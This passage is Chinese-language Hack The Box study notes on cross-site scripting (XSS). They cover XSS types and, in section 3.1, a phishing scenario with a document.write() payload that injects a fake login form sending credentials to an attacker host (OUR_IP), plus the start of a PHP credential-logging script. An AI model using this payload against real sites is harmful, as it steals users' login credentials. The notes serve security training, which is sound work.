HTB 笔记 | XSS 攻击核心知识与防御指南
1. XSS 攻击概述
- 定义:跨站脚本(XSS)是一种常见的安全漏洞,允许攻击者在受害者的浏览器中注入并执行恶意脚本。
- 危害:
- 窃取用户敏感信息(如会话令牌、Cookie)。
- 劫持用户会话。
- 实施钓鱼攻击。
- 篡改网页内容。
2. 常见的 XSS 攻击类型
- 存储型 XSS:
- 攻击脚本永久存储在目标服务器上。
- 所有访问该页面的用户均受影响。
- 反射型 XSS:
- 攻击脚本通过 URL 参数传递,诱导用户点击恶意链接。
- DOM 型 XSS:
- 攻击脚本通过修改页面 DOM 节点触发。
- 盲 XSS(Blind XSS):
- 漏洞触发在攻击者无法直接访问的页面(如管理员后台)。
3. XSS 攻击场景与实践
3.1 钓鱼攻击
- 目标:通过伪造登录表单窃取用户凭证。
- 步骤:
- 发现 XSS 漏洞:
- 测试输入参数,找到可执行恶意脚本的注入点。
- 注入伪造登录表单:
- 使用
document.write()
注入 HTML 登录表单。 - 示例代码:
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
- 使用
- 隐藏原始元素:
- 使用
document.getElementById().remove()
移除干扰元素。 - 示例代码:
document.getElementById('urlform').remove();
- 使用
- 捕获凭证:
- 使用 PHP 脚本记录 GET 请求中的用户名和密码。
- 示例代码:
<?php if (isset($_GET['username']) && isset($_GET['password'])) { $file = fopen("creds.txt", "a+"); fputs($file, "Username: { $_GET['username']} | Password:
- 发现 XSS 漏洞: